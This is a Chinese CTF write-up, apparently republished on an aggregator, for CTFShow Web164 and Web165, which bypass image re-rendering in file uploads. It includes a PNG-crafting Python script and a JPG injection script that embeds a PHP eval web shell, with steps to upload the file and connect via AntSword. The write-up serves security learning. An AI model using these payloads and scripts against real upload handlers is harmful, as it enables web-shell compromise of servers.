CTFShow-Web164-165:图片二次渲染绕过

news/2025/2/8 11:36:26/文章来源:https://www.cnblogs.com/cookiescs/p/18703923

CTFShow-Web164-165:图片二次渲染绕过

这两题都是图片二次渲染绕过类型,Web164是png,Web165是jpg

常见的二次渲染绕过可以参考:https://j7ur8.github.io/WebBook/PHP/二次渲染绕过.html

🛠️ Web164 WriteUp

  1. 运行脚本覆盖掉原来图片的内容,制作图片码

    from PIL import Image# 定义颜色数据
    p = [0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33
    ]# 创建一个32x32的图像
    img = Image.new('RGB', (32, 32))# 获取图像的像素
    pixels = img.load()# 设置像素颜色
    for y in range(0, len(p), 3):r = p[y]g = p[y+1]b = p[y+2]# 设置像素位置 (x, y),其中 x 通过索引 / 3 来获取x = round(y / 3)pixels[x, 0] = (r, g, b)# 保存图像
    img.save('Flag.png')
    

    使用方式:python ./png图片二次渲染绕过.py

  2. 上传图片,并查看图片

  3. 使用hackbar调用playload

    image-20250207172236115
  4. ctrl+s保存图片,使用imhex、winhex类软件打开图片

    image-20250207172335687

🛠️ Web165 WriteUp

根据一些大佬的文章,使用这张图片的成功率较高:

请添加图片描述
  1. 先上传这张照片,再点击查看图片,然后下载下来,使用脚本把payload加载到照片里

    import os
    import struct
    from PIL import Image# Mini Payload
    mini_payload = '<?=eval($_POST[1]);?>';# Function to check if the image is valid
    def check_image(filename, data, unlink=False):try:with open(filename, 'wb') as f:f.write(data)# Try opening the image using PillowImage.open(filename)return Trueexcept Exception as e:return Falsefinally:if unlink:os.remove(filename)# Function to process image
    def process_image(file_path):if not os.path.isfile(file_path):raise ValueError(f'File not found: {file_path}')with open(file_path, 'rb') as f:data = f.read()correct_image = Trueextra_bytes = 0for pad in range(1024):nullbyte_payload_size = padstart_pos = Noneout_stream = datadis_pos = 0# Check for SOI markerif struct.unpack('>H', data[dis_pos:dis_pos+2])[0] != 0xFFD8:raise ValueError('Incorrect SOI marker')dis_pos += 2while dis_pos < len(data):if data[dis_pos] != 0xFF:breakmarker = data[dis_pos+1]size = struct.unpack('>H', data[dis_pos+2:dis_pos+4])[0] - 2dis_pos += 4 + sizeif marker == 0xDA:start_pos = dis_posout_stream_tmp = data[:start_pos] + mini_payload.encode() + b'\x00' * nullbyte_payload_size + data[start_pos:]if check_image('_' + file_path, out_stream_tmp, True):if extra_bytes != 0:while dis_pos < len(data):if data[dis_pos] == 0xFF:if data[dis_pos + 1] != 0x00:breakdis_pos += 1stop_pos = dis_pos - 2image_stream_size = stop_pos - start_posout_stream = data[:start_pos] + mini_payload.encode() + \(b'\x00' * nullbyte_payload_size + data[start_pos:start_pos + image_stream_size])[:nullbyte_payload_size + image_stream_size - extra_bytes] + data[stop_pos:]else:out_stream = out_stream_tmpif check_image('payload_' + file_path, out_stream):print('Success!')returnelse:breakos.remove('payload_' + file_path)print("Something's wrong")# Main execution
    if __name__ == "__main__":import sysif len(sys.argv) < 2:raise ValueError('Usage: python exp.py <image_name.jpg>')file_path = sys.argv[1]process_image(file_path)
    

    运行python ./jpg图片二次渲染绕过.py test.jpg得到payload_test.jpg

  2. 上传payload_test.jpg

  3. 使用蚁剑连接

    URL地址填查看图片的URL地址

    image-20250208111723033

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/880768.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Volcano v1.11发布,显著提升AI训练与推理任务的性能

本次更新聚焦AI与大数据的核心需求,推出网络拓扑感知调度、多集群AI作业调度等重磅特性,显著提升AI训练与推理任务的性能。摘要:本次更新聚焦AI与大数据的核心需求,推出网络拓扑感知调度、多集群AI作业调度等重磅特性,显著提升AI训练与推理任务的性能。本文分享自华为云社…

FreeBSD安装FAMP环境

相比于Linux,FreeBSD少了很多面板和一键脚本,自己折腾了一下,记录一下。 配置:VPS一台系统:FreeBSD 14.1SSH工具:MobaXterm 1.更新系统pkg update && pkg upgrade -y 2.安装Apache搜索最新版Apachepkg search apache安装最新版Apachepkg install -y apache24设置…

本地部署 DeepSeek-R1-内部知识库

本地部署 DeepSeek-R1-内部知识库本地部署 DeepSeek-R1-内部知识库环境准备1. 确认系统要求2. 安装 Homebrew一. 安装ollama和启动服务1.1 安装 ollama1.2 启动服务1.3 拉取模型并运行二.运行DeepSeek-R1-集成web页面2.1 运行模型2.2 安装Openweb-UI 界面环境准备 1. 确认系统要…

vscode编写javascript代码时ctrl和f12等快捷键失效

提供一种可能性,由于vscode内置扩展@builtin typescript-language-features被关闭导致无法上下文感知跳转。将其重新启用即可

allegro每次保存时都说提示覆盖原图

保存文件时提示,一般新装的软件才会有这个提示 我们改下设置就不会再弹出这个提示了 Setuo-User Preferences,然后在工具栏搜索Savedb点击搜素,如下图复选框里打勾就行

车流量检测摄像头

车流量检测摄像头广泛应用于城市交通管理、高速公路收费站、停车场管理及大型活动现场等多个领域。在城市中,这些设备为交通信号控制提供数据支持,从而提升通行效率。在高速公路上,它们则用于实时监控车速与流量,以便及时调整收费政策和疏导措施。此外,在停车场中,这类设…

安全帽佩戴智能识别摄像机

安全帽佩戴智能识别摄像机的出现,为安全管理带来了革新性的变化。这种智能摄像机基于先进的计算机视觉技术。其核心算法能够精准地对画面中的物体和人员进行识别。在识别安全帽佩戴情况时,它可以迅速分析图像中每个人员头部的特征,准确判断安全帽是否存在。它像是一位不知疲…

使用 CloudDM 和钉钉流程化管理数据库变更审批

CloudDM 是一个专为团队协同工作打造的数据库数据管控平台。在管控数据库安全变更的过程中,为提高效率,CloudDM 接入了钉钉,支持实时通知与移动办公,满足广大企业用户的实际需求。 本文将介绍如何使用 CloudDM 和钉钉实现高效的数据库变更审批。 接入钉钉 创建钉钉应用登录…

tomcat中部署finereport11.0

手动将finereport11.0部署到Tomcat中1、本文目的 在tomcat中直接访问FineReport的cpt文件,跳过登录。 2、执行步骤创建工作目录将%Tomcat_HOME%\webapps\examples文件复制一份出来,重命名为FR,只保留WEB-INF文件夹,其余全部删除。修改web.xml文件编辑%Tomcat_HOME%/webapps…

富滇银行研发管理从数字化走向智能化 | 通义灵码企业标杆案例

经过几个月的持续优化及通义灵码产品能力的迭代,行内用户活跃度持续提升,AI代码生成占比超过30%,单元测试覆盖率持续提升,周期内未发生重大故障。技术人员已养成使用通义灵码进行编码和研发问答的习惯,进一步推动了软件开发的智能化转型。百年传承,富民兴滇。作为一家拥有…

车间产线作业流程合规检测系统

车间产线作业流程合规检测系统通过在车间内安装多个高清摄像头,车间产线作业流程合规检测系统实时捕捉工人在产线上的操作行为。系统可以自动检测工人在生产过程中是否按照正确的顺序执行任务,是否使用正确的工具,是否遵守安全规定等。如果系统检测到工人的操作行为违规,它…

SQL注入-Windows/Docker 环境部署 SQLi-labs 靶场

一、SQLi-labs简介 SQLi-labs是由印度程序员开发,专门用于练习SQL注入的靶场,其中包含各种注入姿势,并适用于GET和POST等场景。 主要包含:基础错误注入、报错注入、盲注、MySQL读写文件、更新查询注入、插入查询注入、Header头部注入、二次注入、绕过WAF、绕过addslashes函…